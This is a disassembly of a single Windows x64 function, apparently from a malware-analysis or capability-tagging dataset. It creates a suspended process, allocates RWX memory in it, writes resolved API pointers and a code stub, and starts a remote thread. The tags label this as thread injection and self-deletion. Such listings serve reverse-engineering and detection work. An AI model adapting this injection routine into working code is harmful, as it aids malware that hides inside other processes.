Function at 0x64e970
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Inject thread
Self delete
Spawn thread to rwx shellcode

Disassembly:
push rbp
sub rsp, 0x3a0
mov rbp, rsp
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x70], 0
mov qword [rbp + 0x78], 0
mov qword [rbp + 0x80], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0x90], 0
mov qword [rbp + 0x2e0], 0
mov qword [rbp + 0x98], rbp
mov dword [rbp + 0x3b0], ecx
nop
lea rcx, [rbp + 0x330]
mov edx, 0x68
xor r8, r8
call fcn.00408d50
mov dword [rbp + 0x330], 0x68
mov word [rbp + 0x370], 0
lea rcx, [rbp + 0xbe]
mov edx, 0x20a
xor r8, r8
call fcn.00408d50
lea rcx, [rbp + 0xbe]
lea rdx, [0x0064ef70]
call sub.kernel32.dll_lstrcpyW
xor rcx, rcx
lea rdx, [rbp + 0xbe]
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
lea rax, [rbp + 0x330]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x318]
mov qword [rsp + 0x48], rax
call sub.kernel32.dll_CreateProcessW
test eax, eax
setne al
test al, al
jne 0x64eabf
call sub.kernel32.dll_GetLastError_2
mov dword [rbp + 0x2e8], eax
lea rcx, [rbp + 0x90]
mov edx, dword [rbp + 0x2e8]
call fcn.00435d20
mov rcx, qword [0x00424ac8]
mov dl, 1
mov r8, qword [rbp + 0x90]
call fcn.00437370
mov rcx, rax
call fcn.0040d260
cmp qword [rbp + 0x318], 0
je 0x64eed7
mov ecx, 0x43a
xor rdx, rdx
mov r8d, dword [rbp + 0x328]
call sub.kernel32.dll_OpenProcess
mov qword [rbp + 0x398], rax
cmp qword [rbp + 0x398], 0
jne 0x64eb2d
call sub.kernel32.dll_GetLastError_2
mov dword [rbp + 0x2e8], eax
lea rcx, [rbp + 0x88]
mov edx, dword [rbp + 0x2e8]
call fcn.00435d20
mov rcx, qword [0x00424ac8]
mov dl, 1
mov r8, qword [rbp + 0x88]
call fcn.00437370
mov rcx, rax
call fcn.0040d260
nop
lea rcx, [rbp + 0x80]
xor rdx, rdx
call fcn.004064b0
lea rcx, [rbp + 0x2e0]
mov rdx, qword [rbp + 0x80]
lea r8, [0x0064ef98]
call fcn.004102f0
mov dword [rbp + 0xb8], 0
cmp qword [rbp + 0x2e0], 0
je 0x64eb7b
mov rax, qword [rbp + 0x2e0]
mov eax, dword [rax - 4]
mov dword [rbp + 0xb8], eax
mov eax, dword [rbp + 0xb8]
add eax, eax
lea rcx, [0x0064e960]
add eax, ecx
lea rcx, [0x0064e920]
sub eax, ecx
add eax, 0x10
mov dword [rbp + 0x2ec], eax
mov rcx, qword [rbp + 0x398]
xor rdx, rdx
mov r8d, dword [rbp + 0x2ec]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call sub.kernel32.dll_VirtualAllocEx
mov qword [rbp + 0x310], rax
cmp qword [rbp + 0x310], 0
jne 0x64ec08
call sub.kernel32.dll_GetLastError_2
mov dword [rbp + 0x2e8], eax
lea rcx, [rbp + 0x78]
mov edx, dword [rbp + 0x2e8]
call fcn.00435d20
mov rcx, qword [0x00424ac8]
mov dl, 1
mov r8, qword [rbp + 0x78]
call fcn.00437370
mov rcx, rax
call fcn.0040d260
mov rax, qword [rbp + 0x310]
mov qword [rbp + 0x308], rax
lea rcx, [0x0064ef9c]
call sub.kernel32.dll_GetModuleHandleW_2
mov qword [rbp + 0x300], rax
mov rcx, qword [rbp + 0x300]
lea rdx, [0x0064efb6]
call sub.kernel32.dll_GetProcAddress_2
mov qword [rbp + 0x2c8], rax
mov rcx, qword [rbp + 0x300]
lea rdx, [0x0064efc2]
call sub.kernel32.dll_GetProcAddress_2
mov qword [rbp + 0x2d0], rax
mov rcx, qword [rbp + 0x300]
lea rdx, [0x0064efc8]
call sub.kernel32.dll_GetProcAddress_2
mov qword [rbp + 0x2d8], rax
mov rcx, qword [rbp + 0x398]
mov rdx, qword [rbp + 0x308]
lea r8, [rbp + 0x2c8]
mov r9d, 0x18
lea rax, [rbp + 0x2f0]
mov qword [rsp + 0x20], rax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
setne al
test al, al
jne 0x64ece1
call sub.kernel32.dll_GetLastError_2
mov dword [rbp + 0x2e8], eax
lea rcx, [rbp + 0x70]
mov edx, dword [rbp + 0x2e8]
call fcn.00435d20
mov rcx, qword [0x00424ac8]
mov dl, 1
mov r8, qword [rbp + 0x70]
call fcn.00437370
mov rcx, rax
call fcn.0040d260
mov rax, qword [rbp + 0x2f0]
add qword [rbp + 0x308], rax
mov rcx, qword [rbp + 0x398]
mov rdx, qword [rbp + 0x308]
lea r8, [rbp + 0x3b0]
mov r9d, 4
lea rax, [rbp + 0x2f0]
mov qword [rsp + 0x20], rax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
setne al
test al, al
jne 0x64ed59
call sub.kernel32.dll_GetLastError_2
mov dword [rbp + 0x2e8], eax
lea rcx, [rbp + 0x68]
mov edx, dword [rbp + 0x2e8]
call fcn.00435d20
mov rcx, qword [0x00424ac8]
mov dl, 1
mov r8, qword [rbp + 0x68]
call fcn.00437370
mov rcx, rax
call fcn.0040d260
mov rax, qword [rbp + 0x2f0]
add qword [rbp + 0x308], rax
lea rcx, [rbp + 0x2e0]
call fcn.0040e9f0
mov qword [rbp + 0xa8], rax
mov dword [rbp + 0xb4], 0
cmp qword [rbp + 0x2e0], 0
je 0x64ed9e
mov rax, qword [rbp + 0x2e0]
mov eax, dword [rax - 4]
mov dword [rbp + 0xb4], eax
mov rcx, qword [rbp + 0x398]
mov rdx, qword [rbp + 0x308]
mov r8, qword [rbp + 0xa8]
mov r9d, dword [rbp + 0xb4]
add r9d, r9d
movsxd r9, r9d
lea rax, [rbp + 0x2f0]
mov qword [rsp + 0x20], rax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
setne al
test al, al
jne 0x64ee0e
call sub.kernel32.dll_GetLastError_2
mov dword [rbp + 0x2e8], eax
lea rcx, [rbp + 0x60]
mov edx, dword [rbp + 0x2e8]
call fcn.00435d20
mov rcx, qword [0x00424ac8]
mov dl, 1
mov r8, qword [rbp + 0x60]
call fcn.00437370
mov rcx, rax
call fcn.0040d260
mov rax, qword [rbp + 0x2f0]
add qword [rbp + 0x308], rax
mov rcx, qword [rbp + 0x398]
mov rdx, qword [rbp + 0x308]
lea r8, [0x0064e920]
lea r9, [0x0064e960]
lea rax, [0x0064e920]
sub r9, rax
lea rax, [rbp + 0x2f0]
mov qword [rsp + 0x20], rax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
setne al
test al, al
jne 0x64ee90
call sub.kernel32.dll_GetLastError_2
mov dword [rbp + 0x2e8], eax
lea rcx, [rbp + 0x58]
mov edx, dword [rbp + 0x2e8]
call fcn.00435d20
mov rcx, qword [0x00424ac8]
mov dl, 1
mov r8, qword [rbp + 0x58]
call fcn.00437370
mov rcx, rax
call fcn.0040d260
mov rcx, qword [rbp + 0x398]
xor rdx, rdx
xor r8, r8
mov r9, qword [rbp + 0x308]
mov rax, qword [rbp + 0x310]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 0
lea rax, [rbp + 0x2fc]
mov qword [rsp + 0x30], rax
call sub.kernel32.dll_CreateRemoteThread
nop
mov rcx, qword [rbp + 0x398]
call sub.kernel32.dll_CloseHandle_1
nop
lea rcx, [rbp + 0x58]
mov edx, 8
call fcn.0040e160
lea rcx, [rbp + 0x2e0]
call fcn.0040e080
lea rsp, [rbp + 0x3a0]
pop rbp
ret